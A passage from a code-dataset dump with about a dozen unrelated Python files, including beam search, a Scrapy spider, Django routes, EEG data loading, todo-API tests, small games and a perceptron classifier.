begin:end, :] = (n_layers, beam_size, hidden_size)\n # fab_cell[:, begin:end, :] = (n_layers, beam_size, hidden_size)\n # fab_h_t_tilde[begin:end] = (beam_size, 1, hidden_size)\n cnt = 0\n for board in boards:\n if board.is_done() == 0:\n # 보드가 끝낸애들은 보내지 않음.\n # Decide a range of each sample.\n begin = cnt * beam_size\n end = begin + beam_size\n\n # pick k-best results for each sample.\n board.collect_result(\n y_hat[begin:end],\n {\n 'hidden_state': fab_hidden[:, begin:end, :],\n 'cell_state' : fab_cell[:, begin:end, :],\n 'h_t_1_tilde' : fab_h_t_tilde[begin:end],\n },\n )\n cnt += 1\n\n is_done = [board.is_done() for board in boards]\n length += 1\n\n # --------------------while 끝남 ---------------------\n # pick n-best hypothesis.\n batch_sentences, batch_probs = [], []\n\n # Collect the results.\n for i, board in enumerate(boards):\n sentences, probs = board.get_n_best(n_best, length_penalty=length_penalty)\n\n batch_sentences += [sentences]\n batch_probs += [probs]\n\n return batch_sentences, batch_probs\n","repo_name":"jihoon99/torch_study","sub_path":"transformer/s2s/simple-nmt/simple_nmt/models/seq2seq.py","file_name":"seq2seq.py","file_ext":"py","file_size_in_byte":32060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27043052612","text":"import scrapy\n\nfrom juzimiSpider.items import JuzimispiderItem\n\nclass juzimiSpider(scrapy.Spider):\n name = \"juzimi\"\n allowed_domains = ['juzimi.com']\n\n def start_requests(self):\n url = 'https://www.juzimi.com/length/%E7%9F%AD%E5%8F%A5%E5%AD%90'\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse(self, response):\n juzi_list = response.css('div.view-xqlengthpage').xpath('div/div/div')\n for juzi in juzi_list:\n item = JuzimispiderItem()\n content = juzi.xpath('div/a/text()').extract()[0]\n try:\n author = juzi.xpath('div[@class=\"xqjulistwafo\"]/a//text()').extract()[0]\n except:\n author=''\n try:\n book = juzi.xpath('div[@class=\"xqjulistwafo\"]//span/a//text()').extract()[0]\n except:\n book=''\n self.log('打印')\n item['content'] = content\n item['author'] = author\n item['book'] = book\n yield item\n\n ## 是否还有下一页\n try:\n next_pages = response.css('li.pager-next a::attr(href)').extract()[0]\n except:\n next_pages= []\n \n if next_pages:\n next_page = 'https://www.juzimi.com' + next_pages\n self.log('page_url: %s' % next_page)\n ## 将 「下一页」的链接传递给自身,并重新分析\n yield scrapy.Request(next_page, callback=self.parse)\n","repo_name":"woodylan/juzimiSpider","sub_path":"juzimiSpider/spiders/juzimiSpider.py","file_name":"juzimiSpider.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34347303757","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.home, name=\"home\"),\n path(\"building/list\", views.BuildingList.as_view(), name='buildinglist'),\n path(\"apartment/list\", views.ApartmentList.as_view(), name='apartmentlist'),\n path(\"tenant/list\", views.TenantList.as_view(), name='tenantlist'),\n\n path(\"building/create\", views.BuildingCreate.as_view(), name='buildingcreate'),\n path(\"apartment/create\", views.ApartmentCreate.as_view(), name='apartmentcreate'),\n path(\"tenant/create\", views.TenantCreate.as_view(), name='tenantcreate'),\n\n path(\"building/update/\", views.BuildingUpdate.as_view(), name='buildingupdate'),\n path(\"apartment/update/\", views.ApartmentUpdate.as_view(), name='apartmentupdate'),\n path(\"tenant/update/\", views.TenantUpdate.as_view(), name='tenantupdate'),\n\n\n path(\"building/delete/\", views.BuildingDelete.as_view(), name='buildingdelete'),\n path(\"apartment/delete/\", views.ApartmentDelete.as_view(), name='apartmentdelete'),\n path(\"tenant/delete/\", views.TenantDelete.as_view(), name='tenantdelete'),\n\n ]","repo_name":"AR8261/Python","sub_path":"p#3EmpireBuildings-master/management/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4022436170","text":"from programme.joueur.joueur import Joueur\r\nfrom programme.utile.mrPropre import mrPropre\r\nfrom programme.utile.saisieNombre import *\r\nfrom programme.utile.score import incrementScore\r\nfrom programme.utile.colorfull import *\r\n\r\n\r\ndef jeuAllumette(joueur1: Joueur, joueur2: Joueur):\r\n \"\"\"Procédure gérant le jeu des allumettes\r\n\r\n Args:\r\n joueur1 (Joueur): Premier Joueur\r\n joueur2 (Joueur): Second Joueur\r\n \"\"\"\r\n\r\n nallum: int = 20\r\n nret: int\r\n nrest: int\r\n cp: Joueur = joueur1\r\n\r\n mrPropre()\r\n\r\n print(textcolor.CYAN+\"\\nBienvenue dans le jeu des allumettes\\n\"+textcolor.DEFAULT)\r\n\r\n nrest = nallum\r\n print(affichageAllumette(nallum, nrest))\r\n\r\n while nrest > 0: #On boucle tant qu'il reste des allumettes\r\n while True: #On boucle tant que l'on envoi un nombre valide\r\n nret = saisieInt(\r\n cp.pseudo + \", retirez entre 1 et 3 allumettes : \", \"Erreur de saisie\")\r\n if nret > 0 and nret < 4:\r\n break\r\n else:\r\n print(\r\n textform.WARNING+\"Nombre invalide, il doit être compris entre 1 et 3 inclus\"+textform.DEFAULT)\r\n nrest = nrest - nret\r\n mrPropre()\r\n print(affichageAllumette(nallum, nrest))\r\n if cp == joueur1: #changement du joueur\r\n cp = joueur2\r\n else:\r\n cp = joueur1\r\n\r\n print(textcolor.GREEN+cp.pseudo + \" gagne la partie !\"+textcolor.DEFAULT)\r\n incrementScore(cp, \"allumette\") #Ajout d'un point\r\n\r\n\r\ndef affichageAllumette(nallum: int, nrest: int) -> str:\r\n \"\"\"Génère l'affichage des allumettes\r\n\r\n Args:\r\n nallum (int): Nombre d'allumettes en début de partie\r\n nrest (int): Nombre d'allumettes restantes\r\n\r\n Returns:\r\n str: Chaîne correspondant à l'affichage des allumettes actuellement en jeu\r\n \"\"\"\r\n\r\n show: str = \"\"\r\n\r\n for i in range(0, nallum): #construction de la chaine\r\n if i < nrest:\r\n show = show + \" |\"\r\n else:\r\n show = show + \" .\"\r\n\r\n show = \"\\n\"+show+\"\\n\"\r\n return show\r\n","repo_name":"delmat238/S1.01","sub_path":"programme/allumette/jeuAllumette.py","file_name":"jeuAllumette.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"32740682570","text":"import base64\nimport json\nfrom collections import Sequence, Mapping\n\nimport terroroftinytown.six\n\n\nclass NativeStringJSONDecoder(json.JSONDecoder):\n '''JSON decoder that channels unicode strings.'''\n def decode(self, s, **kwargs):\n result = json.JSONDecoder.decode(self, s, **kwargs)\n\n return self.channel_unicode(result)\n\n @classmethod\n def channel_unicode(cls, o):\n # http://stackoverflow.com/a/6415359/1524507\n if isinstance(o, terroroftinytown.six.string_types):\n if isinstance(o, terroroftinytown.six.text_type):\n o = o.encode('ascii')\n return base64.b16decode(o).decode('unicode_escape')\n elif isinstance(o, Sequence):\n return [cls.channel_unicode(item) for item in o]\n elif isinstance(o, Mapping):\n return dict((key, cls.channel_unicode(value))\n for key, value in o.items())\n else:\n return o\n\n\nclass NativeStringJSONEncoder(json.JSONEncoder):\n '''JSON encoder that channels unicode strings.'''\n def encode(self, o):\n o = self.channel_unicode(o)\n\n return json.JSONEncoder.encode(self, o)\n\n @classmethod\n def channel_unicode(cls, o):\n # http://stackoverflow.com/a/6415359/1524507\n if isinstance(o, (terroroftinytown.six.binary_type,\n terroroftinytown.six.string_types)):\n if isinstance(o, terroroftinytown.six.binary_type):\n o = o.decode('latin1')\n o = base64.b16encode(o.encode('unicode_escape')).decode('ascii')\n return o\n elif isinstance(o, Sequence):\n return [cls.channel_unicode(item) for item in o]\n elif isinstance(o, Mapping):\n return dict((key, cls.channel_unicode(value))\n for key, value in o.items())\n else:\n return o\n","repo_name":"ArchiveTeam/terroroftinytown","sub_path":"terroroftinytown/util/jsonutil.py","file_name":"jsonutil.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"48"} +{"seq_id":"42570590865","text":"\"\"\"\n1. read edf\n . read edf returns raw: a list of lists\n . read .tse_bi, returns label_array: time array with labels.\n . take label_array and raw, returns dataset and label_array : a list of\n data, each block is 1 second, with fixed size. width is number of\n channels in certain standard order.\n2. get labels\n3. train models\n4. validate models\n\nFunctions in this module should:\n\nArgs:\n path(str): string path to file or folder\n\nReturns:\n dataset: nepoch x nchannel x nsamples\n\"\"\"\nimport glob\nimport math\nimport os\nimport re\n\nimport pandas as pd\n\nfrom seizurecast.data.tu_pystream import nedc_pystream as ps\nfrom seizurecast.models.par import LABEL_BKG, LABEL_PRE, LABEL_SEZ, LABEL_POS, LABEL_NAN, \\\n STD_CHANNEL_01_AR\n\n\ndef listdir_edfs(directory='~/github/ids/tusz_1_5_2/edf/train/01_tcp_ar',\n columns=('tcp_type', 'patient_group', 'patient',\n 'session', 'token')):\n \"\"\"Returns all edf filepaths in a DataFrame\n\n Returns:\n pd.DataFrame: filepaths\n \"\"\"\n filelist = glob.glob(os.path.join(directory, '**', '*.edf'), recursive=True)\n fparts = [re.split('/|[.]edf', filename)[:-1] for filename in filelist]\n\n if len(fparts[0]) > len(columns):\n columns = ['path'+str(i) for i in range(0, len(fparts[0])-len(columns))] + list(columns)\n\n df = pd.DataFrame({key: value for key, value in zip(tuple(columns), tuple(zip(*fparts)))})\n\n # A very complicated lambda function\n return df.assign(token_path=lambda x: eval(\n \"\"\"eval(\"+'/'+\".join([\"x.\"\"\" + '\",\"x.'.join(x.columns) + '\"]))'))\n\n\ndef read_1_token(token_path):\n \"\"\"Read EDF file and apply its corresponding montage info\n\n Args:\n token_path: file path to the edf file. Should follow the same\n nameing rules defined in\n https://www.isip.piconepress.com/projects/tuh_eeg/downloads/tuh_eeg/_DOCS/conventions/filenames_v00.txt\n\n Returns:\n tuple: 1-list of sampling rate. 2-list of list of signals in micro\n Volt. 3-list of labels.\n\n \"\"\"\n\n \"\"\"Load parameters\"\"\"\n params = ps.nedc_load_parameters_lbl(token_path + '.lbl')\n\n \"\"\"read edf\"\"\"\n fsamp, sig, labels = ps.nedc_load_edf(token_path + '.edf')\n\n \"\"\"select channels\"\"\"\n fsamp_sel, sig_sel, labels_sel = ps.nedc_select_channels(params, fsamp, sig,\n labels)\n\n \"\"\"apply montage\"\"\"\n fsamp_mont, sig_mont, labels_mont = ps.nedc_apply_montage(params, fsamp_sel,\n sig_sel,\n labels_sel)\n return fsamp_mont, sig_mont, labels_mont\n\n\ndef read_1_session(session_path):\n \"\"\"Read multiple tokens of the same session\n\n Args:\n session_path: file path to a session.\n e.g. tuh_eeg/v1.0.0/edf/00000037/00001234/s001_2012_03_06\n\n Returns:\n dataset, labels\n \"\"\"\n raise NotImplementedError\n\n\ndef read_1_patient(patient_folder):\n \"\"\"Read multiple sessions belonging to the same patient\n\n Args:\n patient_folder: path to a patient folder\n e.g.: tuh_eeg/v1.0.0/edf/00000037\n\n Returns:\n standard data TBD\n\n \"\"\"\n raise NotImplementedError\n\n\ndef load_tse_bi(token_path):\n \"\"\"Reads .tse_bi file and returns backgroud and seizure intervals\n\n Args:\n token_path: path to token file\n e.g. tuh_eeg/v1.0.0/edf/00000037/00001234/s001_2012_03_06\n /00001234_s001_t000\n\n Returns:\n tuple: intvs - list of intervals. labels - list of labels.\n\n \"\"\"\n intvs, labels = [], []\n with open(token_path+'.tse_bi', 'r') as fp:\n for line in fp:\n line = line.replace('\\n', '').split(' ')\n if line[0] == 'version':\n if line[2] != 'tse_v1.0.0':\n print(\"tse_bi file must be version='tse_v1.0.0'\")\n exit(-1)\n else:\n continue\n elif line[0] is not '':\n intvs.append([float(line[0]), float(line[1])])\n labels.append(line[2])\n else:\n continue\n return intvs, labels\n\n\ndef relabel_tse_bi(intvs, labels, len_pre=100, len_post=300, sec_gap=0):\n \"\"\" Compute labels from background and seizure intervals\n\n Args:\n intvs: list of list of intervals\n labels: list of labels of background and seizure. Must be same len as INTVS\n len_pre: length of pre-seizure stage in seconds\n len_post: length of post-seizure stage in seconds\n sec_gap: gap between pre-seizure and seizure in seconds\n\n Returns:\n tuple: (Array of intervals, Array of labels).\n \"\"\"\n _intvs, _labls = [], []\n # Find LABEL_SEZ\n # locate pre, gap and pos\n # assign others to LABEL_BKG\n for i, lbl in enumerate(labels):\n beg, end = intvs[i]\n pos = beg + len_post\n pre = end - sec_gap - len_pre\n gap = end - sec_gap\n if lbl == LABEL_BKG:\n if i == 0 and i == len(labels)-1:\n _intvs.append([beg, end])\n _labls.append(LABEL_BKG)\n elif i == 0:\n _intvs.extend([[beg, max(beg, pre)],\n [max(beg, pre), max(beg, gap)],\n [max(beg, gap), end]])\n _labls.extend([LABEL_BKG, LABEL_PRE, LABEL_NAN])\n elif i == len(labels)-1:\n _intvs.extend([[beg, min(pos, end)],\n [min(pos, end), end]])\n _labls.extend([LABEL_POS, LABEL_BKG])\n else:\n pos_end = min(pos, end)\n pre_beg = max(pos_end, pre)\n gap_beg = max(pos_end, gap)\n _intvs.extend([[beg, pos_end],[pos_end, pre_beg],\n [pre_beg, gap_beg],[gap_beg, end]])\n _labls.extend([LABEL_POS, LABEL_BKG, LABEL_PRE, LABEL_NAN])\n elif lbl == LABEL_SEZ:\n _intvs.append([beg, end])\n _labls.append(LABEL_SEZ)\n else:\n raise ValueError(\"Illegal LABELS\")\n\n _labls = [_labls[i] for i, intv in enumerate(_intvs) if intv[0] < intv[1]]\n _intvs = [_intvs[i] for i, intv in enumerate(_intvs) if intv[0] < intv[1]]\n\n return _intvs, _labls\n\n\ndef sort_channel(raw, ch_labels, std_labels=STD_CHANNEL_01_AR):\n \"\"\"sort channel based on standard labels\n\n Args:\n raw: (n_channel, n_sample) of EEG signals.\n ch_labels: array of channel labels. Len(LABELS) must = width of SIG\n std_labels: array of standard channel labels. must of same len as LABELS\n\n Returns:\n list: EEG signals, same shape as RAW\n\n \"\"\"\n if len(set(ch_labels).intersection(set(std_labels))) < len(std_labels):\n raise Exception('Channel labels must match the length of std_labels')\n else:\n return [raw[i] for i in [ch_labels.index(lbl) for lbl in std_labels]]\n\n\ndef chop_signal(raw, n_sample_per_epoch:int):\n \"\"\"Generate dataset from EEG signals and labels\n\n Args:\n raw: EEG signals. Shape: (n_channel, n_sample).\n n_sample_per_epoch: Number of samples per epoch.\n\n Returns:\n list: EEG signals (n_epochs, n_channels, n_sample_per_epoch).\n\n \"\"\"\n n_times = len(raw[0])\n res = []\n for i in range(0, n_times // int(n_sample_per_epoch), 1):\n res.append([channel[i * n_sample_per_epoch:(i + 1) * n_sample_per_epoch] for channel in raw])\n return res\n\n\ndef signal_to_dataset(raw, fsamp, intvs, labels):\n \"\"\"Segmentize raw data into list of epochs.\n\n returns dataset and label_array : a list of data, each block is 1\n second, with fixed size. width is number of channels in certain standard\n order.\n\n Args:\n raw: EEG signals. Shape: (n_channel, n_sample).\n fsamp(int): sampling rate, i.e., window size of resulting epoch. Unit: Hz\n intvs: list of [start, end]. Unit: second\n labels: list of labels. Must be same len as INTVS\n\n Returns: tuple (dataset, labels):\n - dataset: list of data; (n_epochs, n_channels, n_sample_per_epoch)\n - labels: list of labels\n\n \"\"\"\n ds, lbl = [], []\n for i, inv in enumerate(intvs):\n tstart, tend = inv\n chopped_sig = chop_signal(\n [ch[math.ceil(tstart*fsamp):math.floor(tend*fsamp)] for ch in raw],\n fsamp)\n ds.extend(chopped_sig)\n lbl.extend([labels[i]] * len(chopped_sig))\n return ds, lbl\n","repo_name":"kusumikakd/Real_time_seizurecast","sub_path":"seizurecast/data/file_io.py","file_name":"file_io.py","file_ext":"py","file_size_in_byte":8512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43831549886","text":"# Subset II\n\nclass Solution:\n def subsetsWithDup(self, nums):\n res = []\n nums.sort()\n\n def backtracking(i, subset):\n\n if(i == len(nums)):\n res.append(subset)\n return\n \n backtracking(i+1, subset + [nums[i]])\n \n # duplicate check\n while( i+1 < len(nums) and nums[i] == nums[i+1]):\n i += 1\n \n backtracking(i+1, subset)\n \n backtracking(0, [])\n\n return res\n\nprint(Solution().subsetsWithDup([4,8,8]))\n\n# run cmd: python all-subset-array-dulplicate.py\n\n \n\n\n ","repo_name":"RJonMshka/leetcodeProblems","sub_path":"DP/all-subset-array-dulplicate.py","file_name":"all-subset-array-dulplicate.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17283111219","text":"import json\nimport os\nimport pytest\nimport todos.create as create\n\nfrom botocore.exceptions import ClientError\nfrom todos.todo_status import TodoStatus\nfrom todos.utils import create_todos_table, table\n\nTABLE_NAME = os.getenv('TABLE_NAME')\n\n\ndef setup():\n try:\n create_todos_table(TABLE_NAME)\n except ClientError:\n import traceback\n traceback.print_exc()\n\n\ndef teardown():\n try:\n table(TABLE_NAME).delete()\n except ClientError:\n pass\n\n\n@pytest.fixture()\ndef event_todo_valid():\n return {\n 'body': json.dumps({\n 'title': 'test title',\n 'description': 'test description',\n 'due_date': '2018-06-30T10:00:00Z',\n }),\n 'httpMethod': 'POST',\n }\n\n\ndef test_todo_valid(event_todo_valid):\n res = table(TABLE_NAME).scan()\n assert len(res['Items']) == 0\n\n res = create.lambda_handler(event_todo_valid, '')\n assert res['statusCode'] == 201\n\n res = table(TABLE_NAME).scan()\n assert len(res['Items']) == 1\n\n todo = res['Items'][0]\n assert todo['title'] == 'test title'\n assert todo['description'] == 'test description'\n assert todo['due_date'] == '2018-06-30T10:00:00Z'\n assert todo['todo_status'] == TodoStatus.TODO.name\n\n\n@pytest.fixture()\ndef event_todo_title_missing():\n return {\n 'body': json.dumps({\n # 'title': 'test title', # missing title\n 'description': 'test description',\n 'due_date': '2018-06-30T10:00:00Z',\n }),\n 'httpMethod': 'POST',\n }\n\n\ndef test_todo_title_missing(event_todo_title_missing):\n res = create.lambda_handler(event_todo_title_missing, '')\n assert res['statusCode'] == 400\n\n\n@pytest.fixture()\ndef event_todo_title_empty():\n return {\n 'body': json.dumps({\n 'title': '',\n 'description': 'test description',\n 'due_date': '2018-06-30T10:00:00Z',\n }),\n 'httpMethod': 'POST',\n }\n\n\ndef test_todo_title_empty(event_todo_title_empty):\n res = create.lambda_handler(event_todo_title_empty, '')\n assert res['statusCode'] == 400\n\n\n@pytest.fixture()\ndef event_todo_description_missing():\n return {\n 'body': json.dumps({\n 'title': 'test title',\n # 'description': 'test description', # missing description\n 'due_date': '2018-06-30T10:00:00Z',\n }),\n 'httpMethod': 'POST',\n }\n\n\ndef test_todo_description_missing(event_todo_description_missing):\n res = create.lambda_handler(event_todo_description_missing, '')\n assert res['statusCode'] == 400\n\n\n@pytest.fixture()\ndef event_todo_due_date_missing():\n return {\n 'body': json.dumps({\n 'title': 'test title',\n 'description': 'test description',\n 'due_date': '2018-06-30-10T00:00Z', # invalid format\n }),\n 'httpMethod': 'POST',\n }\n\n\ndef test_todo_due_date_missing(event_todo_due_date_missing):\n res = create.lambda_handler(event_todo_due_date_missing, '')\n assert res['statusCode'] == 400\n","repo_name":"shoito/todo-app","sub_path":"tests/unit/test_create.py","file_name":"test_create.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8688109445","text":"# cook your dish here\nT = int(input())\n\ndef isPossible(n, m):\n if n == 1 or m == 1:\n if n > 2 or m > 2: return False\n \n if n%2==0 or m%2==0: return True\n else: return False\n \nwhile T:\n T -= 1\n n, m = map(int, input().split(\" \"))\n if isPossible(n, m):\n print(\"Yes\")\n else: \n print(\"No\")","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"CHEFPATH.py","file_name":"CHEFPATH.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"25207133136","text":"\"\"\"напишите программу-вирус которая переименовывает папки c четными номерами в ранее созданной папке target,\nновые имена придумайте самостоятельно.\n\"\"\"\nimport os\n\nos.chdir(r'/home/sasha/study/python/modules_OS')\nos.mkdir(\"target\")\n\nfor i in range (1, 11):\n os.chdir(r'/home/sasha/study/python/modules_OS/target')\n i = str(i)\n text_file = open(f\"{i}\", \"w\")\n i = int(i)\n i += 1\n\nname = 'xaxaxa'\nnumber = 0\nspisok = os.listdir(r'/home/sasha/study/python/modules_OS/target')\nfor n in spisok:\n n = int(n)\n if n%2 == 0:\n y = str(n)\n name_file = name + y\n os.rename(f\"{n}\", f\"{name_file}\")\n \n \n # name_file = name\n","repo_name":"fairygirl1/Python_completed","sub_path":"17_module_os/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21184767917","text":"# perceptron.py\r\n# ---------------\r\n# Licensing Information: You are free to use or extend this projects for\r\n# educational purposes provided that (1) you do not distribute or publish\r\n# solutions, (2) you retain this notice, and (3) you provide clear\r\n# attribution to the University of Illinois at Urbana-Champaign\r\n#\r\n# Created by Justin Lizama (jlizama2@illinois.edu) on 10/27/2018\r\nimport numpy as np\r\nimport random\r\nimport time\r\n\"\"\"\r\nThis is the main entry point for MP6. You should only modify code\r\nwithin this file -- the unrevised staff files will be used for all other\r\nfiles and classes when code is run, so be careful to not modify anything else.\r\n\"\"\"\r\n\r\n\r\nclass Perceptron:\r\n def __init__(self, len_of_features, max_iter, learning_rate, skip=0):\r\n self.max_iter = max_iter\r\n self.learning_rate = learning_rate\r\n self.weights = np.zeros(len_of_features + 1) #weights[0] will hold the bias\r\n self.skip = skip\r\n\r\n def train(self, train_set, train_labels):\r\n \"\"\"\r\n This method actually trains the perceptron and sets the self.weights\r\n We use the sign function for perceptron training.\r\n new_weight += learning_rate * (label - prediction) * current_weight\r\n :param train_set:\r\n :param train_labels:\r\n :return:\r\n \"\"\"\r\n for epoch in range(1, self.max_iter + 1):\r\n if self.skip != 0:\r\n if self.skip == 1 and ((epoch+1) % 2) == 0:\r\n continue\r\n if (epoch % self.skip) == 0:\r\n continue\r\n for features, label in zip(train_set, train_labels):\r\n prediction = self.predict(features)\r\n self.weights[1:] += self.learning_rate * (label - prediction) * features #regular weights\r\n self.weights[0] += self.learning_rate * (label - prediction) * 1 #bias\r\n\r\n def predict(self, features):\r\n if (np.dot(features, self.weights[1:]) + self.weights[0]) > 0:\r\n return 1\r\n return 0\r\n\r\n def get_weights(self):\r\n return self.weights\r\n\r\n\r\ndef classify(train_set, train_labels, dev_set, learning_rate,max_iter):\r\n \"\"\"\r\n train_set - A Numpy array of 32x32x3 images of shape [7500, 3072].\r\n This can be thought of as a list of 7500 vectors that are each\r\n 3072 dimensional. We have 3072 dimensions because there are\r\n each image is 32x32 and we have 3 color channels.\r\n So 32*32*3 = 3072\r\n train_labels - List of labels corresponding with images in train_set\r\n example: Suppose I had two images [X1,X2] where X1 and X2 are 3072 dimensional vectors\r\n and X1 is a picture of a dog and X2 is a picture of an airplane.\r\n Then train_labels := [1,0] because X1 contains a picture of an animal\r\n and X2 contains no animals in the picture.\r\n\r\n dev_set - A Numpy array of 32x32x3 images of shape [2500, 3072].\r\n It is the same format as train_set\r\n \"\"\"\r\n # TODO: Write your code here\r\n # return predicted labels of development set\r\n\r\n start_time = time.time()\r\n perceptron = Perceptron(len(train_set[0]), max_iter, learning_rate, 0)\r\n perceptron.train(train_set, train_labels)\r\n print(\"Training Done in %s seconds.\" % (time.time() - start_time))\r\n dev_labels = []\r\n for each_image in dev_set:\r\n result = perceptron.predict(each_image)\r\n dev_labels.append(result)\r\n print(\"End to End Done in %s seconds.\" % (time.time() - start_time))\r\n return dev_labels\r\n\r\n\r\n##########################\r\n# Decision Tree\r\n##########################\r\n\r\ndef classifyEC(train_set, train_labels, dev_set,learning_rate,max_iter):\r\n # Write your code here if you would like to attempt the extra credit\r\n start_time = time.time()\r\n train_set_temp1 = train_set[:50]\r\n train_set_temp2 = train_set[len(train_set)-50:]\r\n random_list = random.sample(range(51, len(train_set) - 51), 50)\r\n train_set_temp_3 = create_list(train_set, random_list)\r\n train_set = train_set_temp1 + train_set_temp2 + train_set_temp_3\r\n train_labels_temp1 = train_labels[:50]\r\n train_labels_temp2 = train_labels[len(train_labels)-50:]\r\n train_labels_temp3 = create_list(train_labels, random_list)\r\n train_labels = train_labels_temp1 + train_labels_temp2 + train_labels_temp3\r\n value_map = {True: 1.0, False: 0.0}\r\n train_a = np.array(train_set)\r\n train_b = np.array([[value_map[i] for i in train_labels]])\r\n train_c = np.concatenate((train_a, train_b.T), axis=1)\r\n dev_a = np.array(dev_set)\r\n dev_b = np.array([[None for i in range(len(dev_set))]])\r\n dev_c = np.concatenate((dev_a, dev_b.T), axis=1)\r\n predictions = decision_tree(train_c, dev_c, 5, 10)\r\n rev_value_map = {1.0: True, 0.0: False}\r\n dev_labels = [rev_value_map[i] for i in predictions]\r\n print(\"End to End Done in %s seconds.\" % (time.time() - start_time))\r\n return dev_labels\r\n\r\n#THIS FOLLOWS THE CART ALGORITHM TO BUILD THE DECISION TREE\r\ndef decision_tree(train, dev, max_depth, min_size):\r\n tree = build_tree(train, max_depth, min_size)\r\n predictions = list()\r\n for row in dev:\r\n prediction = predict(tree, row)\r\n predictions.append(prediction)\r\n return predictions\r\n\r\ndef build_tree(train, max_depth, min_size):\r\n root = get_split_points(train)\r\n split_data(root, max_depth, min_size, 1)\r\n return root\r\n\r\ndef get_split_points(train):\r\n class_values = list(set(row[-1] for row in train))\r\n # print(\"Class Values:\", class_values)\r\n # print(\"Dataset:\", dataset)\r\n b_index, b_value, b_score, b_groups = 999, 999, 999, None\r\n for index in range(len(train[0]) - 1):\r\n for row in train:\r\n groups = test_split(index, row[index], train)\r\n gini = gini_index(groups, class_values)\r\n if gini < b_score:\r\n b_index, b_value, b_score, b_groups = index, row[index], gini, groups\r\n return {'index': b_index, 'value': b_value, 'groups': b_groups}\r\n\r\n\r\ndef split_data(node, max_depth, min_size, depth):\r\n left, right = node['groups']\r\n del (node['groups'])\r\n # check for a no split\r\n if not left or not right:\r\n node['left'] = node['right'] = to_terminal(left + right)\r\n return\r\n # check for max depth\r\n if depth >= max_depth:\r\n node['left'], node['right'] = to_terminal(left), to_terminal(right)\r\n return\r\n # process left child\r\n if len(left) <= min_size:\r\n node['left'] = to_terminal(left)\r\n else:\r\n node['left'] = get_split_points(left)\r\n split_data(node['left'], max_depth, min_size, depth + 1)\r\n # process right child\r\n if len(right) <= min_size:\r\n node['right'] = to_terminal(right)\r\n else:\r\n node['right'] = get_split_points(right)\r\n split_data(node['right'], max_depth, min_size, depth + 1)\r\n\r\n\r\ndef test_split(index, value, dataset):\r\n left, right = list(), list()\r\n for row in dataset:\r\n if row[index] < value:\r\n left.append(row)\r\n else:\r\n right.append(row)\r\n return left, right\r\n\r\ndef to_terminal(group):\r\n outcomes = [row[-1] for row in group]\r\n return max(set(outcomes), key=outcomes.count)\r\n\r\n\r\ndef gini_index(groups, classes):\r\n # count all samples at split point\r\n n_instances = float(sum([len(group) for group in groups]))\r\n # sum weighted Gini index for each group\r\n gini = 0.0\r\n for group in groups:\r\n size = float(len(group))\r\n # avoid divide by zero\r\n if size == 0:\r\n continue\r\n score = 0.0\r\n # score the group based on the score for each class\r\n for class_val in classes:\r\n p = [row[-1] for row in group].count(class_val) / size\r\n score += p * p\r\n # weight the group score by its relative size\r\n gini += (1.0 - score) * (size / n_instances)\r\n return gini\r\n\r\ndef predict(node, row):\r\n if row[node['index']] < node['value']:\r\n if isinstance(node['left'], dict):\r\n return predict(node['left'], row)\r\n else:\r\n return node['left']\r\n else:\r\n if isinstance(node['right'], dict):\r\n return predict(node['right'], row)\r\n else:\r\n return node['right']\r\n\r\n\r\n##########################\r\n# Alt Idea\r\n##########################\r\n\r\n\r\ndef create_list(first_list, second_list):\r\n result = []\r\n for i in second_list:\r\n result.append(first_list[i])\r\n return result\r\n\r\n\r\ndef get_single_value(input_list):\r\n return max(set(input_list), key=input_list.count)\r\n\r\ndef classifyECalt(train_set, train_labels, dev_set, learning_rate, max_iter):\r\n start_time = time.time()\r\n perceptron_inputs = []\r\n for i in range(0, 5):\r\n perceptron = Perceptron(len(train_set[0]), max_iter+i, learning_rate+i, skip=i)\r\n perceptron.train(train_set, train_labels)\r\n perceptron_inputs.append(perceptron)\r\n print(\"Training Done in %s seconds.\" % (time.time() - start_time))\r\n dev_labels = []\r\n for each_image in dev_set:\r\n first = []\r\n for i in range(5):\r\n perceptron = perceptron_inputs[i]\r\n answer = perceptron.predict(each_image)\r\n first.append(answer)\r\n second = list()\r\n second.append(get_single_value(first[0:3]))\r\n second.append(get_single_value(first[2:5]))\r\n second.append(get_single_value(first[::2]))\r\n second.append(get_single_value(first[1::2]))\r\n random_list = random.sample(range(0, 4), 3)\r\n second.append(get_single_value(create_list(first, random_list)))\r\n final_value = get_single_value(second)\r\n dev_labels.append(final_value)\r\n print(\"End to End Done in %s seconds.\" % (time.time() - start_time))\r\n return dev_labels\r\n","repo_name":"rahulsk2/CS440","sub_path":"CS440MP6 - Perceptron/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":9814,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"42524346930","text":"#Turn_right.py\nimport random\n\ndirections = ['North', 'East', 'South', 'West']\nstart_direction = random.randint(0, 3)\nprint(f\"You are facing {directions[start_direction]}\")\n\nturn_right = int(input(\"Turn right how many times? : 